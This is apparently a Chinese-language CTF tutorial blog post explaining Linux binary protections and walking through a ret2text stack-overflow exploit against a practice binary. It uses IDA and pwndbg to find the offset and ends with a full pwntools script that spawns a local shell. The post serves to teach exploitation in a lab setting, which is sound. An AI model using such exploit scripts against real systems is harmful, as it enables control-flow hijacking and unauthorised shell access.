Featured image of post PWN! PWN! PANG! Part4 --- ret2text

PWN! PWN! PANG! Part4 --- ret2text

诶,我从你家后门进去了哦~

PWN! PWN! PANG! Part4

必须有的前言

从Part4开始我们就要正式进入实战部分了哦qaq,

本篇文章主要讲述最最简单的一种栈溢出利用姿势ret2text

资料投放>__<

P.S. 这里安利一下OneDrive云盘优秀的分享功能,速度快且可以脱离客户端

补充知识点:Linux程序安全保护机制

ASLR: 地址随机化技术

  • 全名: Address Space Layout Randomization

  • 系统的保护措施, 和程序没有关系, 一般默认目标机器随机化完全开启

  • 每次运行程序时,组件(包括堆栈,堆和库)都将移至虚拟内存中的其他地址。 攻击者无法通过反复试验来了解目标所在,因为每次的地址都会不同。

  • 可以通过cat /proc/sys/kernel/randomize_va_space查看系统保护的开启情况

ASLR选项:

0 关闭

1 半随机 共享库 栈 mmap()分配的堆空间以及VDSO将被随机化

2 全随机 brk()分配的堆空间也被虚拟化

PIE: 随机化ELF文件映射地址

好饿,想吃馅饼了 雾)

  • 全名: Position-Independent Executable

  • 程序的防护措施,编译时生效

检测程序防护措施的方法:PWNTools的checksec模块

详细使用技巧见下文

  • 开启 ASLR 之后,PIE 才会生效

The NX bits(NX): 栈不可执行

栈为什么要不可执行呢? 小问号你是否有很多小朋友???

从前面的知识中可以了解到,攻击者可以通过栈溢出劫持程序执行流,强迫程序执行制定地址的内容

而如果恰好攻击者在栈中写入了shellcode(指执行后可以直接拿到shell的代码),就可以通过直接执行栈中写入的shellcode来getshell

所以,为了防范攻击者这么轻易就能做坏事= = The NX bits就诞生了

  • 全名: the No-eXecute bits

  • 程序与操作系统的防护措施,编译时决定是否生效(也就意味着可以通过checksec查看),由操作系统实现

  • 实现: 通过在内存页的标识中增加“执行”位, 可以表示该内存页是否可以执行, 若程序代码的 EIP 执行至不可运行的内存页, 则 CPU 将直接拒绝执行“指令”造成程序崩溃

关于内存中的ELF各部分的权限

Canary (金丝雀) : 专门针对栈溢出的防护

  • 程序的防护措施,编译时生效

  • 基本上Canary开启我们就不采用栈溢出的思路

  • 实现:在刚进入函数时,在栈上放置一个标志canary,在函数返回时检测其是否被改变。以达到防护栈溢出的目的

  • canary长度为1字长,其位置不一定与ebp/rbp存储的位置相邻,具体得看程序的汇编操作

RELRO: 重定位信息不可写

  • 全名: RELocate Read-Only

  • 程序的防护措施,编译时生效

  • 分为关闭RELRO,部分RELRO(目前是gcc默认), 完全RELRO

  • 在本系列文章中不讲解,如果有兴趣可以去看这篇文章

PWN? PWN! PANG!

前期准备

  • 下载好所需文件(IDA, 目标程序ret2text)

  • 在ret2text相同目录下打开终端

  • 准备好一个Windows系统

  • 确保ret2text文件可以执行

ll
chmod +x ret2text

查看保护开启情况

checksec ret2text

至于checksec用法嘛= = checksec 文件名

结果

[*] '/home/kali/Sec/PWN/Stack/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看见这是一个32位程序,开启了NX

反汇编分析

因为IDA是win平台的,所以我们就得先请出一只无辜的Windows

将ret2text拖到 ida.exe 上打开

如果是64位程序,则选择 ida64.exe

同意使用协议

协议

选择第一个(默认配置)然后ok

嘛= =

双击左栏main进入主函数

TIP: 如你界面和我不相同请按空格键切换

主函数的反汇编

汇编看着太难受了? 按下F5即可看到c代码

Tip: 别忘了Fn键哦.qaq

思路分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  puts("Have you heard of buffer overflow?");
  vulnerable();
  puts("It seems that you know nothing about it ......");
  return 0;
}

我们看到它调用了一个vulnerable函数 (这也太明显了吧 = = )

查看那个 欠揍的函数 代码,可以看见明显的一个漏洞

int vulnerable()
{
  char buffer[8]; // [esp+8h] [ebp-10h] BYREF

  gets(buffer);
  return 0;
}

它使用gets()读入局部变量buffer[8],由于gets()不检查输入长度,所以就可以读入过长数据造成栈溢出

仔细观察左侧函数列表,get_shell()引起了我们的注意

int get_shell()
{
  system("/bin/sh");
  return 0;
}

好家伙,直接双手呈上shell= =,

这看起来是某个程序员为了方便自己 奇奇怪怪的意图 调试程序干的<好>事, 在程序了直接留下一个后门

现在我们的思路应该很清晰了,就是通过栈溢出篡改函数返回地址,劫持程序执行流,让其调用get_shell()

把思路用图片的形式解释下吧.qaq

精心构造恶意数据

栈溢出发生时栈帧的情况(32位程序)

既然要溢出,那么我们要溢出多少才可以呢?

观察上面的图片,我们可以发现,我们首先要用垃圾数据把局部变量空间(因具体情况而定)和prev ebp的空间(32位4字节.64位8字节)填满,然后再加上get_shell()的地址覆盖返回地址


计算所需垃圾数据长度方法

  • 通过IDA的注释获取(不一定准确)

在IDA对于受害者函数的反编译代码中,有这样一句

char buffer[8]; // [esp+8h] [ebp-10h] BYREF

可以看到buffer[8]距离prev ebp有16字节的距离,由于我们还需填充prev ebp,我们还要填充4字节的垃圾数据,一共20字节垃圾数据

  • 通过pwndbg动态调试
gdb ret2text

由于我们要溢出的地方在函数vulnerable(),我们直接在那个地方打断点

b vulnerable

现在开始调试该程序

r

一直下一步直到输入(虽说本次只需要一次)

n

输入8个A测试一下

AAAAAAAA

输入stack 大小(这个大小随意,最好大一些) 查看栈的情况

stack 40

结果

pwndbg> stack 40
00:0000│ esp 0xffffd070 ◂— 0x1
01:0004│     0xffffd074 —▸ 0x80483e0 (_start) ◂— xor    ebp, ebp
02:0008│ eax 0xffffd078 ◂— 'AAAAAAAA'
03:000c│     0xffffd07c ◂— 'AAAA'
04:0010│     0xffffd080 —▸ 0x8048600 (__libc_csu_init+32) ◂— dec    dword ptr [ebp - 0xfb7d]
05:0014│     0xffffd084 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd088 —▸ 0xffffd098 ◂— 0x0
07:001c│     0xffffd08c —▸ 0x80485ae (main+93) ◂— sub    esp, 0xc
08:0020│     0xffffd090 —▸ 0xffffd0b0 ◂— 0x1
09:0024│     0xffffd094 ◂— 0x0
0a:0028│     0xffffd098 ◂— 0x0
0b:002c│     0xffffd09c —▸ 0xf7dd9905 (__libc_start_main+229) ◂— add    esp, 0x10
0c:0030│     0xffffd0a0 ◂— 0x1

可以看到A们在地址0xffffd078,而prev ebp的地址是0xffffd088

Tip: 0x表示16进制

为什么计算机中的东西是用二进制表示的,这里显示16进制呢?

那是因为二进制串实在太长了,不方便查看(0b11111111111111111101000001111000) = =

由于前面一长串f都是一样的,我们只需要计算 0x88-0x78+0x4 就可以了(加上0x4是因为要填充 prev ebp

再来个Tip: 每种地址都有一定特点

比如说: 栈里的地址都很大,一边都是0xffff…

所以共填充20字节垃圾数据


获取get_shell()地址

  • 从IDA里找

点击左侧函数列表里的函数,然后复制右侧窗口里的那个值

Tip: IDA是个懒家伙,那个值默认是16进制,但它没有加上前缀0x, 使用这个值的时候自行加上

get_shel1()地址

  • 利用PWNTools

别忘了python导入模块

┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ python                 
Python 3.9.10 (main, Jan 16 2022, 17:12:18) 
[GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *

加载该ELF文件信息

elf=ELF("ret2text")

寻找get_shell()函数地址

get_shell = elf.symbols["get_shell"]

现在,get_shell变量就保存着get_shell()函数地址了


Exploit!

呼~终于到了攻击的时候

攻击前,先运行程序试一试

./ret2text

输入可以随便写点什么(我这里写一个A)

┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ ./ret2text                       
Have you heard of buffer overflow?
A 
It seems that you know nothing about it ......

嘛。。这小程序说我们不会缓冲区溢出。。现在就证明给它看我们会!(

先建一个攻击脚本

vi exp_ret2text.py

第一件事情嘛= =,当然是导入pwntools模块

from pwn import *

然后就是基本操作

io = process("./ret2text")
io.recvline()

构造payload(要输入的东西,也就是垃圾数据和我们想要程序返回的地址)

如果你用IDA取地址(不建议)

payload = b'A'*20 + p32(0x08048522)

如果你用pwntools取地址(你可以直接在编写脚本的时候取地址)

elf=ELF("ret2text")
get_shell = elf.symbol["get_shell"]
payload = b'A'*20 + p32(get_shell)

最后,把恶意数据喂给程序 唔哈哈哈哈;)

就能尽情享用得到的shell了

io.sendline(payload)
io.interactive()

运行攻击脚本

python3 exp_ret2text.py

过程展示

┌──(kira㉿kali)-[~/Sec/PWN/Stack]
└─$ python3 exp_ret2text.py                                                       
[+] Starting local process './ret2text': pid 897972
[*] '/home/kali/Sec/PWN/Stack/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
exp_ret2text.py  pwndbg  ret2libc1  ret2libc2  ret2text
$ whoami
kira

EXP

from pwn import *
# 运行这个本地程序
io = process("./ret2text")
# 接收输出
io.recvline()
# payload = b'A'*20 + p32(0x08048522)
# 不建议使用IDA去获得地址,因为嘛= =还是尽可能用代码操作
elf=ELF("ret2text") # 读取文件的信息
get_shell = elf.symbols["get_shell"] # 搜索"符号"get_shell
payload = b'A'*20 + p32(get_shell) 
io.sendline(payload) #投喂数据(虽说是恶意数据)
io.interactive()  #切换到交互模式

Ref

https://blog.csdn.net/weixin_43833642/article/details/104175028

https://blog.csdn.net/weixin_44932880/article/details/104092620

二进制漏洞挖掘之栈溢出-开启RELRO_ylcangel的专栏-CSDN博客_partial relro


To Be Continued .qaq.

Licensed under CC BY-NC-SA 4.0
For a better open source community!
Built with Hugo
主题 StackJimmy 设计